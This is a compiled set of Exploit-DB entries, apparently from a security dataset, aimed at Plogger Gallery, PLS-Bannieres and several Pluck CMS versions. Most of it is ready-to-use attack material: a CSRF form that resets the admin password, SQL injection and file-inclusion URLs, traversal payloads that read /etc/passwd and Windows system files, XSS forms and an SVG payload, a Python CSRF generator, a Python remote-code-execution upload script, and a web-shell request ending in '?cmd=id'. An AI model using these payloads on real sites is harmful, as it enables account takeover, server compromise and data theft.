deardaniel/secdata-raw huggingface dataset:
Exploit-DB #15577
Description: Plogger Gallery 1.0 - Cross-Site Request Forgery (Change Admin Password)
Type: webapps
Platform: php
Date: 2010-11-19
Author: Or4nG.M4N

Exploit:
-------------------------------------------------------------------------
# Software      : PloggerGallery Version 1.0                                                                                                                             
# Author        : Or4nG.M4N                                               
# Date          : n/a    
# Dork          : Forbidden   
# Software Link : http://www.plogger.org/download/                                                                                         
-------------------------------------------------------------------------
  +---+[CSRF Change Admin Password by OR4NG.M4N]+---+
<html>                                                                     
<head>                                                                     
<title>REMOTE CSRF Change Admin Password by OR4NG.M4N</head>               
<body>
<h1>CSRF Change Admin Password by OR4NG.M4N</h1>
<form action="http://localhost/plogger/plog-admin/plog-options.php" method="post">
<table class="option-table" cellspacing="0">
<tbody><tr class="alt">
<td class="left"><label for="admin_username"></label></td>
<td class="right"><input size="40" id="admin_username" name="admin_username" value="ro0t" type="hidden"></td>
</tr>
<tr>
<td class="left"><label for="admin_email"></label></td>
<td class="right"><input size="40" id="admin_email" name="admin_email" value="priv8te@hotmail.com" type="hidden"></td>
</tr>
<tr class="alt">
<td class="left"><label for="admin_password"></label></td>
<td class="right"><input size="40" id="admin_password" name="admin_password" value="ro0t" type="hidden"></td>
<tr>
<td class="left"><label for="confirm_admin_password"></label></td>
<td class="right"><input size="40" id="confirm_admin_password" name="confirm_admin_password" value="ro0t" type="hidden"></td>
</tr>
</tbody></table>
<td class="right"><input class="submit" name="submit" value="Change FuCKeD" type="submit"></td>

--------------------------------------------------------
# Email - priv8te@hotmail.com
# GreeTz 2 - i-Hmx - Demetre - SadhacKer - The injector ]
# P0c TeaM - SarBoT511 - YoU - RGH - MY ]
# Home - www.v4-team.com - p0c.cc - inj3ct0r.com ]
---------------------------------------------------------
Exploit-DB #37305
Description: Plogger Photo Gallery - SQL Injection
Type: webapps
Platform: php
Date: 2012-05-22
Author: Eyup CELIK

Exploit:
source: https://www.securityfocus.com/bid/53644/info

Plogger Photo Gallery is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit will allow an attacker to compromise the application, to access or modify data, or to exploit latent vulnerabilities in the underlying database. 

http://www.example.com/demo/plog-rss.php?id=1%27%22&level=collection
Exploit-DB #28868
Description: PLS-Bannieres 1.21 - 'Bannieres.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-27
Author: Mahmood_ali

Exploit:
source: https://www.securityfocus.com/bid/20772/info

PLS-Bannieres is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Version 1.21 is vulnerable to this issue; other versions may also be affected.

This BID is being retired because further analysis reveals that the application is not vulnerable to this issue.

http://www.example.com/[Ban_Path]/modules/bannieres/bannieres.php?chemin=Sh3ll.txt?
Exploit-DB #52460
Description: Pluck 4.7.7-dev2 -  PHP Code Execution
Type: webapps
Platform: php
Date: 2025-12-08
Author: CodeSecLab

Exploit:
# Exploit Title: Pluck 4.7.7-dev2 -  PHP Code Execution 
# Date: 2024-10-26
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/pluck-cms/pluck
# Software Link: https://github.com/pluck-cms/pluck
# Version: 4.74-dev5
# Tested on: Ubuntu Windows
# CVE : CVE-2018-11736

PoC:
1）
1. Log in to the Pluck admin panel.\n
2. Navigate to the 'Manage Images' section at http://pluck1/admin.php?action=images.\n
3. Upload a file named '.htaccess' with the content-type 'image/jpeg' containing 'AddType application/x-httpd-php .jpg'.\n
4. Access the target directory (e.g., http://pluck1/images/test.jpg) to execute PHP code with the .jpg extension.

2)
.htaccess content: 
RewriteEngine On
RewriteRule .* http://www.baidu.com/ [R,L]

[Replace Your Domain Name]
Exploit-DB #6074
Description: Pluck CMS 4.5.1 (Windows) - 'blogpost' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-07-14
Author: BugReport.IR

Exploit:
########################## www.BugReport.ir #########################
#
#      AmnPardaz Security Research Team
#
# Title: Pluck Local File inclusion
# Vendor: http://www.pluck-cms.org
# Bug: Local File Inclusion
# Vulnerable Version: 4.5.1 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix: N/A
###################################################################


####################
- Description:
####################

Pluck is a content management system, written in php.


####################
- Vulnerability:
####################

+--> Local File Inclusion

Input passed to multiple parameters in "predefined_variables.php" are not properly verified 
before being used to include files.
This can be exploited to include arbitrary files from local resources.

Code Snippet:
/data/inc/themes/predefined_variables.php #line:15-38

//Include Translation data
include ("data/settings/langpref.php");
include ("data/inc/lang/$langpref");
//Get Site-title
$sitetitle = file_get_contents("data/settings/title.dat");

//Get the page-data
$filetoread = $_GET['file'];
$album = $_GET['album'];
$blogpost = $_GET['blogpost'];
$cat = $_GET['cat'];

if (($filetoread) && (file_exists("data/content/$filetoread"))) {
include "data/content/$filetoread"; }

elseif ($album) {
$title = $album; }

elseif ($blogpost) {
include("data/blog/$cat/posts/$blogpost"); }

elseif ((!file_exists("data/content/$filetoread")) && (!$album) && (!$blogpost)) {
$title = $lang_front1;
$content = $lang_front2; }


POC: http://localhost/pluck-4_5_1/data/inc/themes/predefined_variables.php?blogpost=../../../../../../../../boot.ini

####################
- Credit :
####################
AmnPardaz Security Research Team
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.comz

# milw0rm.com [2008-07-14]
Exploit-DB #32168
Description: Pluck CMS 4.5.2 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-08-05
Author: Khashayar Fereidani

Exploit:
source: https://www.securityfocus.com/bid/30542/info

Pluck is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Pluck 4.5.2 is vulnerable; other versions may also be affected. 

http://www.example.com/data/inc/footer.php?lang_footer=[Cross Site Scripting]
http://www.example.com/data/inc/header.php?pluck_version=[Cross Site Scripting]
http://www.example.com/data/inc/header.php?lang_install22=[Cross Site Scripting]
http://www.example.com/data/inc/header.php?titelkop=[Cross Site Scripting]
http://www.example.com/data/inc/header.php?lang_kop1=[Cross Site Scripting]
http://www.example.com/data/inc/header.php?lang_kop2=[Cross Site Scripting]
http://www.example.com/data/inc/header.php?lang_modules=[Cross Site Scripting]
http://www.example.com/data/inc/header.php?lang_kop4=[Cross Site Scripting]
http://www.example.com/pluck/data/inc/header.php?lang_kop15=[Cross Site Scripting]
http://www.example.com/data/inc/header.php?lang_kop5=[Cross Site Scripting]
http://www.example.com/data/inc/header.php?titelkop=[Cross Site Scripting]
http://www.example.com/data/inc/header2.php?pluck_version=[Cross Site Scripting]
http://www.example.com/data/inc/header2.php?titelkop=[Cross Site Scripting]
http://www.example.com/data/inc/themeinstall.php?lang_theme6=[Cross Site Scripting]
Exploit-DB #7153
Description: Pluck CMS 4.5.3 - 'g_pcltar_lib_dir' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-11-18
Author: DSecRG

Exploit:
Hello, bugtraq.

Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-039


Application:                    Pluck CMS
Versions Affected:              4.5.3
Vendor URL:                     http://www.pluck-cms.org/
Bug:                            Local File Include
Exploits:                       YES
Reported:                       25.08.2008
Vendor Response:                30.08.2008
Solution:                       YES 
Date of Public Advisory:        18.11.2008
Author:                         Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Pluck CMS has Local File Include vulnerability. 



Details
*******

1. Local File Include vulnerability found in script data/inc/lib/pcltar.lib.php

Successful exploitation requires that "register_globals" is enabled.

Code
----
#################################################

  if (!isset($g_pcltar_lib_dir))
    $g_pcltar_lib_dir = "lib";

...

  $g_pcltar_extension = "php";

  if (!defined("PCLERROR_LIB"))
  {
    include("data/inc/$g_pcltar_lib_dir/pclerror.lib.$g_pcltar_extension");
  }
  if (!defined("PCLTRACE_LIB"))
  {
    include("data/inc/$g_pcltar_lib_dir/pcltrace.lib.$g_pcltar_extension");
  }

#################################################

Example:

http://[server]/[installdir]/data/inc/lib/pcltar.lib.php?g_pcltar_lib_dir=../../../../../../../../../../../../../etc/passwd%00



Solution
********
Vendor fix this flaw on 09.08.2008. New version of Pluck CMS 4.6 can be download here:


http://www.pluck-cms.org/downloads/click.php?id=8



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.
Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:    research [at] dsec [dot] ru
            http://www.dsec.ru (in Russian)

# milw0rm.com [2008-11-18]
Exploit-DB #8715
Description: Pluck CMS 4.6.2 - 'langpref' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-05-18
Author: ahmadbady

Exploit:
                =-=-local file include-=-=

-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=
script::pluck version 4.6.2
-------------------------------------------------
Author: ahmadbady
my site :Coming Soon
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
download from:http://www.pluck-cms.org/?file=kop2.php

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
vul:/data/modules/contactform/module_info.php

include ("data/inc/lang/$langpref"); line 13
--
vul:/data/modules/blog/module_info.php
include ("data/inc/lang/$langpref"); line 13
--
vyl:/data/modules/albums/module_info.php
include ("data/inc/lang/$langpref"); line 13
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=
xpl:
path/data/modules/contactform/module_info.php?langpref=../../../../../boot.ini
path/data/modules/blog/module_info.php?langpref=../../../../../boot.ini
path/data/modules/albums/module_info.php?langpref=../../../../../boot.ini
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=--=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=

# milw0rm.com [2009-05-18]
Exploit-DB #34790
Description: Pluck CMS 4.6.3 - 'cont1' HTML Injection
Type: webapps
Platform: php
Date: 2010-09-29
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/43597/info

Pluck is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Pluck 4.6.3 is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/admin.php?module=blog&page=newpost" method="post" name="main" >

<input type="hidden" name="cont1" value=&#039;1"><script>alert(document.cookie)</script>&#039; />
<input type="hidden" name="cont2" value="no category" />
<input type="hidden" name="cont3" value="" />
<input type="submit" id="btn" name="Submit" value="Save" />

</form>
<script>
Exploit-DB #36986
Description: Pluck CMS 4.7 - Directory Traversal
Type: webapps
Platform: php
Date: 2015-05-11
Author: Wadeek

Exploit:
# Exploit Title: Pluck 4.7 Directory Traversal
# Google Dork: filetype:php inurl:"/data/modules/albums/albums_getimage.php?image="
# Date: 08/05/15
# Exploit Author: Wadeek
# Vendor Homepage: http://www.pluck-cms.org/?file=home
# Software Link: http://www.opensourcecms.com/scripts/redirect/download.php?id=167
# Version: 4.7
# Tested on: Xampp on Windows7
###################################################################################
PoC = http://127.0.0.1/pluck-4_7/data/modules/albums/albums_getimage.php?image=\..\..\..\..\..\..\..\Windows\system.ini
###################################################################################
Exploit-DB #36129
Description: Pluck CMS 4.7 - Multiple Local File Inclusion / File Disclosure Vulnerabilities
Type: webapps
Platform: php
Date: 2011-09-08
Author: Bl4k3

Exploit:
source: https://www.securityfocus.com/bid/49525/info

Pluck is prone to multiple file-include and a file-disclosure vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit the local file-include vulnerabilities using directory-traversal strings to view and execute local files within the context of the webserver process. Information harvested may aid in further attacks.

An attacker can exploit local file-disclosure vulnerability to obtain potentially sensitive information from local files on computers running the vulnerable application. This may aid in further attacks.

Pluck 4.7 is vulnerable; other versions may also be affected. 

1-File Inclusion:
 
include(ALBUMS_DIR.&#039;/&#039;.$_GET[&#039;album&#039;].&#039;.php&#039;);
 
Require:
 
if (file_exists(ALBUMS_DIR.&#039;/&#039;.$_GET[&#039;album&#039;].&#039;.php&#039;)) {
function albums_pages_site() {
 
2-File Inclusion
 
include (ALBUMS_DIR.&#039;/&#039;.$album[&#039;seoname&#039;].&#039;.php&#039;);
foreach ($albums as $album) {
$albums  = albums_get_albums();
 
3-File Disclosure
 
echo readfile(&#039;../../settings/modules/albums/&#039;.$image);
$image = $_GET[&#039;image&#039;];
 
requires:
 
if (file_exists(&#039;../../settings/modules/albums/&#039;.$image)) {
Exploit-DB #40566
Description: Pluck CMS 4.7.3 - Cross-Site Request Forgery (Add Page)
Type: webapps
Platform: php
Date: 2016-10-18
Author: Ahsan Tahir

Exploit:
# Exploit Title: Pluck CMS 4.7.3 - Add-Page Cross-Site Request Forgery
# Exploit Author: Ahsan Tahir
# Date: 18-10-2016
# Software Link: http://www.pluck-cms.org/?file=download
# Vendor: http://www.pluck-cms.org/
# Google Dork: "2005-2016. pluck is available"
# Contact: https://twitter.com/AhsanTahirAT | https://facebook.com/ahsantahiratofficial
# Website: www.ahsan-tahir.com
# Category: webapps
# Version: 4.7.3
# Tested on: [Kali Linux 2.0 | Windows 8.1]
# Email: mrahsan1337@gmail.com

import os
import urllib

if os.name == 'nt':
		os.system('cls')
else:
	os.system('clear')

def csrfexploit():

	banner = '''
	+-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==+
	|  ____  _            _       ____ __  __ ____   |
	| |  _ \| |_   _  ___| | __  / ___|  \/  / ___|  |
	| | |_) | | | | |/ __| |/ / | |   | |\/| \___ \  |
	| |  __/| | |_| | (__|   <  | |___| |  | |___) | |
	| |_|   |_|\__,_|\___|_|\_\  \____|_|  |_|____/  |
	|  //PluckCMS 4.7.3 Add-Post CSRF Auto-Exploiter |
	|  > Exploit Author & Script Coder: Ahsan Tahir  |
	+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=+
	'''
	print banner

	url = str(raw_input(" [+] Enter The Target URL (Please include http:// or https://): "))
	title = str(raw_input(" [+] Enter the Title of the Post which you want to add by exploiting CSRF: "))
	content = raw_input(" [+] Enter the Content, which you want to add in the post by exploiting CSRF: ")

	csrfhtmlcode = '''
	<html>
	  <!-- CSRF PoC -->
	  <body>
	    <form action="%s/admin.php?action=editpage" method="POST">
	      <input type="hidden" name="title" value="%s" />
	      <input type="hidden" name="seo&#95;name" value="" />
	      <input type="hidden" name="content" value="%s" />
	      <input type="hidden" name="description" value="" />
	      <input type="hidden" name="keywords" value="" />
	      <input type="hidden" name="hidden" value="no" />
	      <input type="hidden" name="sub&#95;page" value="" />
	      <input type="hidden" name="theme" value="default" />
	      <input type="hidden" name="save" value="Save" />
	      <input type="submit" value="Submit request" />
	    </form>
	  </body>
	</html>
	''' %(url, title, content)

	print " +----------------------------------------------------+\n [!] The HTML exploit code for exploiting this CSRF has been created."

	print(" [!] Enter your Filename below\n Note: The exploit will be saved as 'filename'.html \n")
	extension = ".html"
	name = raw_input(" Filename: ")
	filename = name+extension
	file = open(filename, "w")

	file.write(csrfhtmlcode)
	file.close()
	print(" [+] Your exploit is saved as %s")%filename
	print("")

csrfexploit()
Exploit-DB #51592
Description: Pluck v4.7.18 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2023-07-15
Author: Mirabbas Ağalarov

Exploit:
#Exploit Title: Pluck v4.7.18 - Remote Code Execution (RCE)
#Application: pluck
#Version: 4.7.18
#Bugs:  RCE
#Technology: PHP
#Vendor URL: https://github.com/pluck-cms/pluck
#Software Link: https://github.com/pluck-cms/pluck
#Date of found: 10-07-2023
#Author: Mirabbas Ağalarov
#Tested on: Linux 


import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder

login_url = "http://localhost/pluck/login.php"
upload_url = "http://localhost/pluck/admin.php?action=installmodule"
headers = {"Referer": login_url,}
login_payload = {"cont1": "admin","bogus": "","submit": "Log in"}

file_path = input("ZIP file path: ")

multipart_data = MultipartEncoder(
    fields={
        "sendfile": ("mirabbas.zip", open(file_path, "rb"), "application/zip"),
        "submit": "Upload"
    }
)

session = requests.Session()
login_response = session.post(login_url, headers=headers, data=login_payload)


if login_response.status_code == 200:
    print("Login account")

 
    upload_headers = {
        "Referer": upload_url,
        "Content-Type": multipart_data.content_type
    }
    upload_response = session.post(upload_url, headers=upload_headers, data=multipart_data)

    
    if upload_response.status_code == 200:
        print("ZIP file download.")
    else:
        print("ZIP file download error. Response code:", upload_response.status_code)
else:
    print("Login problem. response code:", login_response.status_code)


rce_url="http://localhost/pluck/data/modules/mirabbas/miri.php"

rce=requests.get(rce_url)

print(rce.text)
Exploit-DB #51420
Description: pluck v4.7.18 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-05-05
Author: Mirabbas Ağalarov

Exploit:
Exploit Title: pluck v4.7.18 - Stored Cross-Site Scripting (XSS)
Application: pluck
Version: 4.7.18
Bugs:  XSS
Technology: PHP
Vendor URL: https://github.com/pluck-cms/pluck
Software Link: https://github.com/pluck-cms/pluck
Date of found: 01-05-2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
steps: 

1. create .svg file.
2. svg file content:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.location);
   </script>
</svg>

3. upload file (http://localhost/pluck-4.7.18/admin.php?action=files)

poc request


POST /pluck-4.7.18/admin.php?action=files HTTP/1.1
Host: localhost
Content-Length: 672
Cache-Control: max-age=0
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJMTiFxESCx7aNqmI
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/pluck-4.7.18/admin.php?action=files
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=s34g5lr0qg5m4qh0ph5plmo8de
Connection: close

------WebKitFormBoundaryJMTiFxESCx7aNqmI
Content-Disposition: form-data; name="filefile"; filename="SVG_XSS.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.location);
   </script>
</svg>
------WebKitFormBoundaryJMTiFxESCx7aNqmI
Content-Disposition: form-data; name="submit"

Upload
------WebKitFormBoundaryJMTiFxESCx7aNqmI--



4. go to http://localhost/pluck-4.7.18/files/svg_xss.svg
Exploit-DB #52448
Description: PluckCMS 4.7.10 - Unrestricted File Upload
Type: webapps
Platform: php
Date: 2025-12-03
Author: CodeSecLab

Exploit:
# Exploit Title: PluckCMS 4.7.10 - Unrestricted File Upload
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/pluck-cms/pluck/
# Software Link: https://github.com/pluck-cms/pluck/
# Version: 4.7.10 
# Tested on: Windows
# CVE : CVE-2020-20969


Proof Of Concept
GET /admin.php?action=trash_restoreitem&var1=exploit.php.jpg&var2=file HTTP/1.1
Host: pluck
Cookie: PHPSESSID=[valid_session_id]

**Access Method:**  
http://pluck/files/exploit_copy.php?cmd=id

**Additional Conditions:**  
1. Valid session cookie required (authenticated attack)
2. File `exploit.php.jpg` must exist in `data/trash/files/` before restoration
3. Server must not filter double extensions during file upload/trash operations


Steps to Reproduce
Log in as an admin user.
Intercept and send the malicious request using a web proxy tool such as Burp Suite, ensure it includes a valid session cookie.
The file will be restored and can be accessed through the url.